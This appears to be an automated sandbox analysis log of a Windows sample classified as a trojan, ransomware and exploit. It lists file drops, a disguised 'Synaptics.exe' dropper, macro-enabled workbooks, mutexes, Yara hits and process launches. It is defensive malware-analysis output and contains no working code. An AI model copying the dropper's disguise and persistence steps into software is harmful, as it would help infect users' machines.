Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C516E.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C516E.tmp\Feb2005_d3dx9_24_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Feb2005_d3dx9_24_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C59BB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C59BB.tmp\Apr2005_d3dx9_25_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Apr2005_d3dx9_25_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C639E.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C639E.tmp\Jun2005_d3dx9_26_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Jun2005_d3dx9_26_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C6D43.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C6D43.tmp\Aug2005_d3dx9_27_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Aug2005_d3dx9_27_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C75FD.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C75FD.tmp\Dec2005_d3dx9_28_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Dec2005_d3dx9_28_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C7F92.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C7F92.tmp\Feb2006_d3dx9_29_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Feb2006_d3dx9_29_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C883D.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C883D.tmp\Apr2006_d3dx9_30_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Apr2006_d3dx9_30_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C92CC.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C92CC.tmp\Oct2006_d3dx9_31_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Oct2006_d3dx9_31_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C9C42.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C9C42.tmp\Dec2006_d3dx9_32_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Dec2006_d3dx9_32_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CA606.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CA606.tmp\Apr2007_d3dx9_33_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Apr2007_d3dx9_33_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CB038.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CB038.tmp\Apr2007_d3dx10_33_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Apr2007_d3dx10_33_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CB74C.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CB74C.tmp\Jun2007_d3dx9_34_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Jun2007_d3dx9_34_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CC1DB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CC1DB.tmp\Jun2007_d3dx10_34_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Jun2007_d3dx10_34_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CCA19.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CCA19.tmp\Aug2007_d3dx9_35_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Aug2007_d3dx9_35_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CD563.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CD563.tmp\Aug2007_d3dx10_35_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Aug2007_d3dx10_35_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CDD52.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CDD52.tmp\Nov2007_d3dx9_36_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Nov2007_d3dx9_36_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CE7D2.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CE7D2.tmp\Nov2007_d3dx10_36_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Nov2007_d3dx10_36_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CEF92.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CEF92.tmp\Mar2008_d3dx9_37_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Mar2008_d3dx9_37_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CFCA2.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CFCA2.tmp\Mar2008_d3dx10_37_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Mar2008_d3dx10_37_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D04A1.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D04A1.tmp\Jun2008_d3dx9_38_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Jun2008_d3dx9_38_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D0EA3.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D0EA3.tmp\Jun2008_d3dx10_38_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Jun2008_d3dx10_38_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D176D.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D176D.tmp\Aug2008_d3dx9_39_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Aug2008_d3dx9_39_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D21AE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D21AE.tmp\Aug2008_d3dx10_39_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Aug2008_d3dx10_39_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D2A0B.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D2A0B.tmp\Nov2008_d3dx9_40_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Nov2008_d3dx9_40_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D3527.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D3527.tmp\Nov2008_d3dx10_40_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Nov2008_d3dx10_40_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D3EDB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D3EDB.tmp\Mar2009_d3dx9_41_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Mar2009_d3dx9_41_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D498A.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D498A.tmp\Mar2009_d3dx10_41_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Mar2009_d3dx10_41_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D5244.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D5244.tmp\Aug2009_d3dx9_42_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Aug2009_d3dx9_42_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D59F5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D59F5.tmp\Aug2009_d3dx10_42_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Aug2009_d3dx10_42_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D5FE0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D5FE0.tmp\Aug2009_d3dx11_42_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Aug2009_d3dx11_42_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D659D.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D659D.tmp\Aug2009_d3dcsx_42_x86.cab	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe

File deleted: C:\Windows\SysWOW64\directx\websetup\SET8E7C.tmp

Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_01007E02	2_2_01007E02
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_0100791E	2_2_0100791E
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_0100878E	2_2_0100878E
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_010080E2	2_2_010080E2

Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 15608

Source: file.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, MS CAB-Installer self-extracting archive
Source: file.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, MS CAB-Installer self-extracting archive
Source: file.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ._cache_file.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 220645 bytes, 5 files, at 0x2c "dsetup.dll" "dsetup32.dll", ID 5930, number 1, 75 datablocks, 0x1503 compression
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, MS CAB-Installer self-extracting archive
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, MS CAB-Installer self-extracting archive
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCX8506.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: dxwsetup.exe.2.dr	Static PE information: Resource name: RT_VERSION type: TTComp archive data, binary, 4K dictionary
Source: dxwsetup.exe.2.dr	Static PE information: Resource name: RT_VERSION type: TTComp archive data, binary, 4K dictionary
Source: dxwsetup.exe.2.dr	Static PE information: Resource name: RT_VERSION type: TTComp archive data, binary, 4K dictionary
Source: ~$cache1.4.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: dxwsetup.exe.2.dr	Static PE information: Resource name: RT_VERSION type: TTComp archive data, binary, 4K dictionary
Source: dxwsetup.exe.2.dr	Static PE information: Resource name: RT_VERSION type: TTComp archive data, binary, 4K dictionary
Source: dxwsetup.exe.2.dr	Static PE information: Resource name: RT_VERSION type: TTComp archive data, binary, 4K dictionary

Source: file.exe, 00000000.00000000.1251603330.00000000004A5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamedxwebsetup.exej% vs file.exe
Source: file.exe, 00000000.00000000.1251603330.00000000004A5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000003.1264979819.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000003.1266324483.00000000006AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameM vs file.exe
Source: file.exe, 00000000.00000003.1266324483.00000000006AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe, 00000000.00000003.1265937265.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000003.1262015458.0000000003F71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedxwebsetup.exej% vs file.exe
Source: file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs file.exe
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedxwsetup.exeh$ vs file.exe
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedxwsetup.exe` vs file.exe
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedxwsetup.exed! vs file.exe
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedxwsetup.exel% vs file.exe
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedxwsetup.exep( vs file.exe
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedsetup32.dllh$ vs file.exe
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedsetup32.dll` vs file.exe
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedsetup32.dlld! vs file.exe
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedsetup32.dllp' vs file.exe
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedsetup32.dllx, vs file.exe
Source: file.exe	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamedxwebsetup.exej% vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameb! vs file.exe
Source: ._cache_file.exe.0.dr	Binary or memory string: OriginalFilenamedxwebsetup.exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal74.rans.troj.expl.winEXE@16/214@14/3

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01003F0D lstrcpyA,GetCurrentDirectoryA,SetCurrentDirectoryA,SetCurrentDirectoryA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,SetCurrentDirectoryA,SetCurrentDirectoryA,lstrcpynA,

2_2_01003F0D

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_010018B5 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,

2_2_010018B5

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01005E67 GetDiskFreeSpaceA,SetCurrentDirectoryA,MulDiv,

2_2_01005E67

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01004C18 CreateEventA,SetEvent,CreateMutexA,GetLastError,CloseHandle,FindResourceA,LoadResource,#17,

2_2_01004C18

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Desktop\._cache_file.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Mutant created: \Sessions\1\BaseNamedObjects\DSETUP32 DLL Mutex
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Mutant created: \Sessions\1\BaseNamedObjects\DXWSETUP
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Mutant created: \Sessions\1\BaseNamedObjects\DXUPDATE DLL Mutex
Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Mutant created: \Sessions\1\BaseNamedObjects\DSETUP DLL Mutex
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4136

Source: C:\Users\user\Desktop\._cache_file.exe

File created: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX8506.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 92%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: C:\Users\user\Desktop\._cache_file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 15608
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 2952
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 14432
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 14456
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 3252
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 15520
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 14552
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
